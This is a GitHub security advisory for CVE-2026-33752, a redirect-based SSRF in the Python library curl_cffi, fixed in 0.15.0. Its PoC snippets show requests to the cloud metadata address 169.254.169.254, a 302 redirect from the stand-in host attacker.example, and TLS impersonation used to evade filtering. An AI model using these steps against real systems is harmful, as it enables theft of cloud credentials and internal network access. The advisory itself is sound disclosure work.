GHSA-qw2m-4pqf-rmpp

Suggest an improvement
Source
https://github.com/advisories/GHSA-qw2m-4pqf-rmpp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-qw2m-4pqf-rmpp/GHSA-qw2m-4pqf-rmpp.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-qw2m-4pqf-rmpp
Aliases
  • CVE-2026-33752
Published
2026-04-03T21:36:44Z
Modified
2026-04-03T21:51:09.563841Z
Severity
  • 8.6 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N CVSS Calculator
Summary
curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)
Details

Summary

curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.

Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.

Details

The issue comes from how curlcffi handles outbound requests - User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16). - Redirects are automatically followed (CURLOPTFOLLOWLOCATION = 1) inside libcurl. - There is no validation of redirect destinations at the Python layer.

This means that even if an application only allows requests to external URLs, an attacker can - Provide a URL pointing to an attacker-controlled server - Return a redirect response pointing to an internal service - Have curl_cffi follow that redirect automatically

As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.

Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block

This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.

PoC

  1. Direct internal request
    import curl_cffi
    resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
    print(resp.text)
    
  2. Redirect to internal service Attacker server:
    GET /test
    → 302 Location: http://169.254.169.254/latest/meta-data/
    
    Victim code:
    import curl_cffi
    resp = curl_cffi.get("https://attacker.example/test")
    print(resp.text)
    
    Result
  • Initial request goes to attacker server
  • Redirect is returned
  • libcurl follows the redirect automatically
  • Internal metadata endpoint is accessed
  1. With TLS impersonation
    import curl_cffi\
    resp = curl_cffi.get(
        "https://attacker.example/test",
        impersonate="chrome")
    
    In some environments, this may help the request bypass TLS-based filtering controls.

Impact

An attacker who can control the requested URL may be able to: - Access internal network services - Reach cloud metadata endpoints and retrieve sensitive information - Bypass certain outbound filtering mechanisms (depending on environment) This corresponds to CWE-918 Server-Side Request Forgery.

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:36:44Z",
    "severity": "HIGH",
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-918"
    ]
}
References

Affected packages

PyPI / curl-cffi

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.15.0

Affected versions

0.*
0.1.5
0.2.0
0.2.1
0.2.4
0.2.5
0.3.0
0.3.1
0.3.2
0.3.7
0.3.8
0.4.0
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.5.5
0.5.6
0.5.7
0.5.9b1
0.5.9b2
0.5.9b3
0.5.9b4
0.5.9b5
0.5.9b6
0.5.9
0.5.10b1
0.5.10b2
0.5.10b3
0.5.10b4
0.5.10b5
0.5.10
0.6.0b2
0.6.0b4
0.6.0b7
0.6.0b9
0.6.0
0.6.1
0.6.2
0.6.3b1
0.6.3
0.6.4
0.7.0b4
0.7.0b6
0.7.0b7
0.7.0
0.7.1
0.7.2
0.7.3b1
0.7.3
0.7.4
0.8.0b1
0.8.0b3
0.8.0b6
0.8.0b7
0.8.1b8
0.8.1b9
0.9.0b1
0.9.0b2
0.9.0
0.10.0b1
0.10.0b2
0.10.0
0.11.0b1
0.11.0b2
0.11.0
0.11.1
0.11.2
0.11.3
0.11.4
0.12.0b1
0.12.0
0.12.1b1
0.12.1b2
0.13.0b1
0.13.0
0.14.0b1
0.14.0b2
0.14.0b3
0.14.0b4
0.14.0b5
0.14.0
0.15.0b1
0.15.0b2
0.15.0b3
0.15.0b4
0.15.0b5
0.15.0b6
0.15.0rc1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-qw2m-4pqf-rmpp/GHSA-qw2m-4pqf-rmpp.json"